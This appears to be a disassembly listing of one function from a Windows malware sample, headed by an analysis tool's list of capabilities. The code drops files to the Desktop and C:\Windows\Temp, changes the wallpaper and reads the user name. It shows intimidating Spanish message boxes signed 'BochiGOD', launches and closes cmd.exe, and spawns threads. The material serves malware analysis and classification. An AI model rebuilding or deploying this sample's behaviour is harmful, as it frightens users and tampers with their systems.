Function at 0x140012280
Capabilities:
Create process on windows
Get session user name
Query environment variable
Write and execute a file
Write file on windows

Disassembly:
push r13
mov eax, 0x4b8d0
push r12
push rbp
push rdi
push rsi
call fcn.14000c080
lea rsi, str._.:____________::________________________________________n::__________________________________________n.:_______::_______________________________________n_:_________::_______________________......___________n_:____________________________.:_:......._...___________n_:_______:____________________..............:_......__________n:________::____________________...........:_........__________n.:___________________________......:_:.........._____________n_:____________________________.............________________n::_____________________:..:____..::___::.................:__________________n:__::_________________.......____...........................__________________n___::________________......:_..::..........._:.............:_______________n:___________________......._...:................._____________n_____________:...:......._........._...........___________n_____________..........__......_______............__________n____________:.......:_.......________.............__________n_______________:..___:.....:________:............_______n____::__________________:........_______:.........:_______________n_::__:.______________:...........____:.........:__::::::::::__________::::_n::__:_______________...........:_:::.......:__::___:::::::::__________________n::::________________.......................___::::::____:_:::__________________n_::::______________:...................:____________________________________n___________________................_____________________________________n_______________________..............:_____________________________________n_______________________...........:_______________________________________n__________________:::::::___________________________________________n
sub rsp, rax
call fcn.14000b190
lea rcx, str.USERPROFILE
lea r12, [rsp + 0x213]
call sub.msvcrt.dll_getenv
lea rdx, str._sDesktopBochi_real.txt
mov rcx, r12
lea rdi, [rsp + 0x407]
mov r8, rax
mov r13, rax
call fcn.140012250
mov ecx, 0x8f1
lea rdx, [0x14005709e]
rep movsb byte [rdi], byte [rsi]
mov rcx, r12
call sub.msvcrt.dll_fopen
test rax, rax
je 0x14001256d
mov r12, rax
lea rdx, [rsp + 0x407]
mov rcx, rax
call fcn.1400121d0
mov rcx, r12
lea rdi, [rsp + 0xcf8]
lea rsi, [0x14006987c]
call sub.msvcrt.dll_fclose
mov ecx, 0x8b9a
lea rdx, [0x14005709e]
rep movsb byte [rdi], byte [rsi]
lea rcx, [0x140068e00]
call sub.msvcrt.dll_fopen
mov r12, rax
test rax, rax
jne 0x140012348
lea rcx, str.Error_al_crear
call fcn.140012200
lea rbp, [rsp + 0xcf8]
lea rsi, [rsp + 0x9892]
mov rcx, rbp
mov r9, r12
mov edx, 1
inc rbp
mov r8d, 1
call sub.msvcrt.dll_fwrite
cmp rbp, rsi
jne 0x140012358
mov rcx, r12
lea rsi, [0x140013020]
mov rdi, rbp
call sub.msvcrt.dll_fclose
mov r9d, 1
xor edx, edx
lea r8, str.C:WindowsTempBochi_te_hackeo.jpg
mov ecx, 0x14
call qword [sym.imp.USER32.dll_SystemParametersInfoW]
mov ecx, 0x4203e
lea rdx, [0x14005709e]
rep movsb byte [rdi], byte [rsi]
lea rcx, str.C:WindowsTempIcono_bochi.ico
call sub.msvcrt.dll_fopen
mov r12, rax
test rax, rax
je 0x14001256d
lea rsi, [rsp + 0x1242c]
mov rcx, rbp
mov r9, r12
mov edx, 1
inc rbp
mov r8d, 1
call sub.msvcrt.dll_fwrite
cmp rsi, rbp
jne 0x1400123d0
mov rcx, r12
lea r12, [rsp + 0x112]
lea rdi, [rsp + 0x6a]
call sub.msvcrt.dll_fclose
lea rdx, [rsp + 0x34]
mov rcx, r12
mov dword [rsp + 0x34], 0x101
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea r10, [rsp + 0x4a]
mov ecx, 0x2a
movabs rax, 0x6f6e207574206553
movabs rdx, 0x3a7365206572626d
mov qword [rsp + 0x4a], rax
xor eax, eax
rep stosd dword [rdi], eax
mov qword [rsp + 0x52], rdx
mov rcx, r10
mov rdx, r12
mov qword [rsp + 0x5a], 0x20
mov qword [rsp + 0x62], 0
call sub.msvcrt.dll_strcat
mov rbp, qword [sym.imp.USER32.dll_MessageBoxA]
mov r9d, 0x10
xor ecx, ecx
lea r8, str.BochiGOD
mov rdx, rax
call rbp
mov r9d, 0x10
lea r8, str.BochiGOD
xor ecx, ecx
lea rdx, str.Como_vez_bro_estas_jodido_ejecutar_esto_fue_lo_peor_que_pudistes_hacer
call rbp
mov r9d, 0x10
lea r8, str.BochiGOD
xor ecx, ecx
lea rdx, str.Ya_no_hay_vuelta_atras
call rbp
xor r9d, r9d
lea r8, str.cmd.exe
xor ecx, ecx
lea rdx, str.open
mov dword [rsp + 0x28], 0xa
mov qword [rsp + 0x20], 0
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
lea rdx, str.C:Windows_system32cmd.exe
call qword [sym.imp.USER32.dll_FindWindowA]
mov rcx, rax
test rax, rax
je 0x14001250a
xor r9d, r9d
xor r8d, r8d
mov edx, 0x10
call qword [sym.imp.USER32.dll_SendMessageA]
xor r9d, r9d
lea r8, [0x140011dd0]
xor edx, edx
lea rcx, [rsp + 0x38]
call fcn.140006bf0
mov r9d, 0x10
lea r8, str.BochiGOD
lea rdx, str.No_se_que_ah_pasado_pero_hubo_un_error_en_crear_el_hilo_1
test eax, eax
jne 0x140012569
lea r12, [rsp + 0x40]
xor r9d, r9d
xor edx, edx
lea r8, [0x140011e40]
mov rcx, r12
call fcn.140006bf0
test eax, eax
je 0x140012575
mov r9d, 0x10
lea r8, str.BochiGOD
lea rdx, str.No_se_que_ah_pasado_pero_hubo_un_error_en_crear_el_hilo_2
xor ecx, ecx
call rbp
mov r12d, 1
jmp 0x1400125b9
mov rcx, r12
xor r9d, r9d
lea r8, [0x140011f10]
xor edx, edx
call fcn.140006bf0
mov r12d, eax
test eax, eax
jne 0x140012555
mov rcx, r13
call fcn.140011ff0
mov rcx, qword [rsp + 0x38]
xor edx, edx
call fcn.140006eb0
mov rcx, qword [rsp + 0x40]
xor edx, edx
call fcn.140006eb0
xor edx, edx
xor ecx, ecx
call fcn.140006eb0
add rsp, 0x4b8d0
mov eax, r12d
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret